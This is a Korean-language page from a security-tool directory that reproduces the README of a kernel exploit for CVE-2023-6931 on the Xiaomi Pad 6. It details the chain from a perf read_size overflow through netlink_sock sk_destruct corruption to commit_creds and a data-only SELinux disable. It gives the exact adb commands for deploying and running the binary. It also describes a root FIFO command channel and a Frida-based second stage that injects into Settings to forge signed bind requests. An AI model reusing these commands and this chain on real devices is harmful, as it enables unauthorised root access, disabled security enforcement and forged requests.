Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2023-6931-pipa — Xiaomi Pad 6(pipa)에서 CVE-2023-6931에 대한 커널 LPE 익스플로잇으로, perf read_size 오버플로를 연쇄하여 root 권한을 획득하고 데이터 전용 netlink_sock sk_destruct 손상을 통해 SELinux를 비활성화합니다. | Kitploit
도구/GitHubGitHub/yutori-natsu/cve-2023-6931-pipa
Android SecurityPrivilege EscalationMemory ForensicsExploitationReverse EngineeringPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubyutori-natsu/cve-2023-6931-pipa

cve-2023-6931-pipa

Xiaomi Pad 6(pipa)에서 CVE-2023-6931에 대한 커널 LPE 익스플로잇으로, perf read_size 오버플로를 연쇄하여 root 권한을 획득하고 데이터 전용 netlink_sock sk_destruct 손상을 통해 SELinux를 비활성화합니다.

저장소 보기
1일 전아직 검토되지 않음

CVE-2023-6931 — Xiaomi Pad 6(pipa) 권한 상승 및 SELinux 비활성화

최종적으로 기기에서 사용한 exploit 버전을 이 디렉터리에 따로 정리했다.

목표

root@kitploit:~
기기      Xiaomi Pad 6 / pipa / SM8250
시스템    HyperOS OS2.0.20.0.UMZCNXM
커널      4.19.157-perf-g240e1d0a5f52
시작점    adb shell(shell 도메인)
결과      일회성 uid0 + 전역 SELinux permissive(재부팅 시 무효)

익스플로잇 체인

exploit.c 파일 헤더를 참조, 요약은 다음과 같다.

root@kitploit:~
1) perf group read_size overflow                -> 범위 초과 u64 자기증가 프리미티브
2) 자기증가 victim netlink_sock->sk_destruct    -> netlink_sock_destruct_work(+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
   -> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
   -> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) 스택을 fake 내부의 skb 페이로드로 마이그레이션(pt_regs1 @ +960, pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root

SELinux 비활성화는 순수 데이터 덮어쓰기로 진행한다: fake+0x248이 selinux_state를 가리키고, __sk_destruct의 atomic_dec이 해당 워드 최하위 비트 세그먼트의 enforcing을 1에서 0으로 감소시킨다.

디렉터리 내용

빌드

root@kitploit:~
./build.sh                 # 이 디렉터리에 exploit 출력
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit

기기에서 실행

드라이버 스크립트 .project/scripts/drive_selinux_off.sh에서 사용하는 명령줄:

root@kitploit:~
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'

adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
  --selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
  > /data/local/tmp/run.out 2>&1 < /dev/null &'

파라미터 의미:

root@kitploit:~
--selinux-off         SELinux 비활성화(순수 데이터 덮어쓰기 경로), 동시에 cred 위조 수행
--layout-interleave   할당 시퀀스를 교차 배치하여 OOB 자기증가가 대상 객체의 sk_destruct에 떨어지도록 함
--tsec-sid 1          위조 cred의 보안 컨텍스트 sid/osid(실제 도메인 sid를 얻을 수 없을 때 1 사용)
--alarm-us 5000000    자가 깨우기 ITIMER_REAL, 멈춘 시도는 5초 후 종료

실행 전제 및 제한:

  • shell 도메인은 perf_event와 netlink_route에 접근 가능하지만 애플리케이션 도메인은 불가능하므로 반드시 adb shell에서 시작해야 함;
  • sibling 이벤트를 8446개 생성할 때마다 perf_event_mlock_kb = 516을 모두 소진하므로, 같은 boot에서 반복 실행하지 말 것, 이전 인스턴스가 종료되지 않으면 이벤트가 해제되지 않아 재실행 시 4000~6000개까지만 생성됨;
  • 필요 시 kill -9로 이전 인스턴스를 정리하고 다시 시도, 그렇지 않으면 부팅당 한 번의 유효 시도로 간주;
  • 성공 후 프로세스는 pause()에 머무르며, root와 permissive는 이번 부팅에만 유효.
  • 동일 프레임워크에 첫 번째/두 번째 프레임을 dload 쓰기로 교체한 변형(--edl, --edl2)도 있으며, root 윈도우에서 결정적으로 EDL에 진입하기 위한 것인데, 이 디렉터리에는 최종 사용한 버전만 수록.

2단계와 연결

이 디렉터리에는 1단계만 넣었다. 전체 체인은 실제로 두 단계이며, 연결점은 1단계가 남긴 root 명령 채널이다.

root@kitploit:~
1단계  exploit_selinux8            커널 권한 상승 + SELinux 비활성화, 그 후 root 명령 채널에서 대기
          산출물: uid0 + permissive, 채널 = FIFO /data/local/tmp/root_in|root_out
                  (별도로 추상 unix socket rootshell / rootshell2, 그리고 --root-client PORT 모드)
2단계  stage2-frida/               위 채널을 통해 root로 frida-server를 시작하고 Settings에 주입
          산출물: 애플리케이션 프로세스 내에서 구성 및 발송된 바인딩 요청(TEE 서명)

1단계 종료 시 ROOTSHELL_OK를 /data/local/tmp/root_proof.txt에 기록하여 명령 실행 가능 자격 증명으로 삼는다. 이후 호스트의 모든 root 동작은 FIFO에 명령 한 줄을 쓰는 것이며, 예를 들어 2단계에서 frida-server를 시작하는 명령:

root@kitploit:~
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
  setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
  </dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"

runcon u:r:shell:s0는 생략할 수 없다: SELinux가 꺼진 후 frida-server가 kernel 도메인에서 실행되면 Android Context를 얻지 못해 PackageManager가 NPE를 발생시킨다.

stage2-frida/

외부 의존성(이 디렉터리에 포함되지 않음): frida-server 16.7.19(54 MB, .project/tools/ext/frida/fs16에 위치, sha256 접두사 4eebf1fbc66ff54aba9a9124)와 대응 python 클라이언트(.project/tools/ext/fridavenv16, frida 16.7.19). 17.x가 아닌 16.x를 사용하는 이유는 17의 agent에 Java bridge가 없기 때문이다.

전체 호출 체인은 .project/scripts/drive_selinux_off.sh가 조율한다: root 윈도우를 맞추면 첫 번째 동작이 bash .project/scripts/exp_forge_send.sh이고, code 0을 얻으면 루프를 중단한다.

재현성 설명

exploit_selinux8은 전달 원본이며, 체크섬은 SHA256SUMS 참조. 이 디렉터리의 소스로 재빌드하면 다른 바이너리가 나온다:

root@kitploit:~
이 디렉터리 소스 재빌드   1,853,744 B   f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
원본 소스 재빌드          1,853,752 B   96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
실제 실행된 버전          1,853,720 B   279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a

차이는 심볼별로 이미 위치를 특정했으며, 원인은 단 한 곳: 명령줄 파라미터 테이블에 두 가지 모드가 추가된 것.

root@kitploit:~
--edl     프레임2에서 __qcom_scm_set_dload_mode(dev, 1) 호출
--edl2    프레임2에서 dload cookie 직접 쓰기

즉, 전달된 버전은 EDL 모드 추가 이전에 빌드된 것이고, 현재 소스는 추가 이후의 것이다(.project/work/exploit_edl1, exploit_edl2가 이것으로 빌드됨). EDL 분기는 --edl 또는 --edl2 전달 시에만 동작하고, edl_mode 기본값은 0이며, payload 구성에서 유일하게 관련된 줄은 edl_mode ? 1ULL : rt(OFF_INIT_CRED)이므로 최종 --selinux-off 명령줄을 사용할 때 둘의 동작은 일치한다. 차이는 기능 증분에 속하며 수정이나 동작 변경이 아니므로, 바이너리는 원본 그대로 첨부하고 소스는 완전판을 유지한다.

주석 정리

.project/tools/strip_dev_comments.py로 처리하여 124개의 개발 과정 주석 블록(버전 반복 표시인 v96, v127, 그리고 "이전 값/실측/재실행/건너뛰기" 같은 중국어 디버깅 어투)을 삭제하고, 313개의 구조적 주석을 유지했다. 전처리 결과 비교 시 빈 줄만 다르고 코드 토큰은 완전히 일치한다. 실행 로그에는 여전히 vNNN: 접두사가 붙은 출력 텍스트가 남아 있는데, 이는 주석이 아니라 프로그램 출력이기 때문이다.

my words

idk fr what files are really needed, if you want to you might very need a LLM to understand the whole exp and write yours.

도구 다운로드
파일설명
exploit.c소스 코드. 개발 과정 주석은 제거하고, 파일 헤더 체인 설명, 오프셋 테이블, 구조체 레이아웃 등 구조적 주석은 유지
text_syms.h기기 kallsyms 덤프에서 생성한 .text 심볼 테이블, 컴파일 필수
ro_syms.h위와 동일, 읽기 전용 데이터 심볼 테이블, 컴파일 필수
exploit_selinux8실제로 기기에서 실행되는 바이너리, 드라이버 스크립트에서 사용하는 것과 동일
build.sh빌드 스크립트
SHA256SUMS위 파일들의 체크섬
파일설명
exp_forge_send.shfrida-server 16.7.19 푸시 및 시작, Settings 실행 보장, pid 획득, agent 실행
frida_run.pyfrida 클라이언트 래퍼, FRIDA_PID 직접 연결과 FRIDA_SPAWN 자동 시작(am/pm 우회) 지원
forge_send.jsSettings 프로세스 내에서 getNonce를 복사하고, 구 필드 집합으로 applyBind에 서명하여 발송
비교 항목결과
함수 크기가 다른 심볼main만 해당(shipped 17,744 B, 재빌드 18,004 B, 차이 260 B ≈ 65개 명령어)
나머지 1,503개 함수크기 완전 일치, 증감 없음
재빌드에만 나타나는 심볼edl_mode 하나
명령줄 파라미터 테이블shipped 85개, 재빌드 87개, 추가된 것이 바로 --edl과 --edl2
전체 .text 명령어 수126,533과 126,597, 차이 64개, main의 차이와 부합